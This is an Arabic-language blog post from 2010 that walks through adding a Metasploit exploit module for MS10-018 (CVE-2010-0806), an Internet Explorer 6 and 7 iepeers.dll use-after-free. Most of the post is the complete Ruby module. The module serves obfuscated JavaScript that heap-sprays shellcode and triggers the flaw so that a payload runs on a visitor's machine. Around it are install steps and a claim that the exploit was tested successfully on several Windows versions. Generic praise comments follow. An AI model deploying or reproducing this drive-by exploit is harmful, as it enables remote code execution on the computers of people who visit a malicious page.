add MS10-018 Exploits in MetaSploit-Framework //*

في هذه التدوينة نستعرض طريقة اضافة ثغرة في المشروع ولكتن الثغرة التي وعدت بها الا وهي ثغرة المتصفح في اصدارات الويندوز وهي مجرب و ناجحة على هذه الإصدارات :

– Microsoft Internet Explorer 7, Windows Vista SP2
 – Microsoft Internet Explorer 7, Windows XP SP3
 – Microsoft Internet Explorer 6, Windows XP SP3

Exploits
##
# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Microsoft Internet Explorer 7, Windows Vista SP2
#  - Microsoft Internet Explorer 7, Windows XP SP3
#  - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name'           => 'Microsoft Internet Explorer iepeers.dll use-after-free',
'Description'    => %q{
This module exploits a use-after-free vulnerability within iepeers.dll of
Microsoft Internet Explorer versions 6 and 7.
NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
},
'License'        => MSF_LICENSE,
'Author'         => [
'Trancer <mtrancer[at]gmail.com>'
],
'Version'        => '$Revision:$',
'References'     =>
[
[ 'CVE', '2010-0806' ],
[ 'OSVDB', '62810' ],
[ 'BID', '38615' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload'        =>
{
'Space'         => 1024,
'BadChars'      => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget'  => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return\nops
ret  	  = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize the javascript variable names
j_shellcode	 = rand_text_alpha(rand(100) + 1)
j_nops		 = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock	 = rand_text_alpha(rand(100) + 1)
j_memory	 = rand_text_alpha(rand(100) + 1)
j_counter	 = rand_text_alpha(rand(30) + 2)
j_ret		 = rand_text_alpha(rand(100) + 1)
j_array		 = rand_text_alpha(rand(100) + 1)
j_function1	 = rand_text_alpha(rand(100) + 1)
j_function2	 = rand_text_alpha(rand(100) + 1)
j_object	 = rand_text_alpha(rand(100) + 1)
j_id		 = rand_text_alpha(rand(100) + 1)
# Build out the message
html = %Q|<html><body>
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
<script language='javascript'>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}(){
#{j_function1}();
var #{j_object} = document.createElement('body');
#{j_object}.addBehavior('#default#userData');
document.appendChild(#{j_object});
try {
for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
#{j_object}.setAttribute('s',window);
}
} catch(e){ }
window.status+='';
}
document.getElementById('#{j_id}').onclick();
</script></body></html>|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end

و هي مبرمجة بلغة الروبي التي تبنتها مشارع الميتا في الإصدارات الجديدة …

المهم نرجع لطريقة الإضافة ببساطة نشوف كود الثغرة و نرى الكلاس وهو

class Metasploit3 < Msf::Exploit::Remote

  نذهب للإمتداد

 /root/.msf3

ثم تضيف مجلد بإسمmodules واخر exploits ثم اخر بإسم remote ثم تضيف ثغرتك التي ستشجل اسم ملفها كالتالي ie_iepeers_pointer.rb

يعني يصير الإمتداد الكلي

root/.msf3/modules/exploits/remote/ie_iepeers_pointer.rb

و الان تمتع لو تريد ان تعمل تريقية ايضا قم بتطبيق الامر  

svn update  

في المشروع طبعا و الان ابحث عن الثغرة بتطبيق الامر show exploits و تمتع ارجو ان لم اقصر في تبيان طريقة اضافة الثغرات في المشروع ولمزيد من المعلومات حول الثغرة التي تحرك فرق حماية مايكروسوفت يمكن الإطلاع بزيارة الرابط التالي http://www.microsoft.com/technet/security/Bulletin/MS10-018.mspx

 

~ بواسطة AhiLALm في أبريل 1, 2010.

3 تعليقات to “add MS10-018 Exploits in MetaSploit-Framework //*”

  1. I have been surfing on-line greater than 3 hours nowadays, yet I never discovered any attention-grabbing article like yours. It is lovely value sufficient for me. In my view, if all web owners and bloggers made good content as you probably did, the web can be a lot more useful than ever before.

  2. I need to to thank you for this excellent read!!
    I absolutely loved every bit of it. I have you bookmarked
    to check out new stuff you post…

  3. I’m not that much of a internet reader to be honest
    but your blogs really nice, keep it up! I’ll go ahead and bookmark your website to come back down the road. Many thanks

أضف تعليقاً

إملأ الحقول أدناه بالمعلومات المناسبة أو إضغط على إحدى الأيقونات لتسجيل الدخول:

WordPress.com Logo

أنت تعلق بإستخدام حساب WordPress.com. تسجيل خروج   / تغيير )

صورة تويتر

أنت تعلق بإستخدام حساب Twitter. تسجيل خروج   / تغيير )

Facebook photo

أنت تعلق بإستخدام حساب Facebook. تسجيل خروج   / تغيير )

Google+ photo

أنت تعلق بإستخدام حساب Google+. تسجيل خروج   / تغيير )

Connecting to %s

 
%d مدونون معجبون بهذه: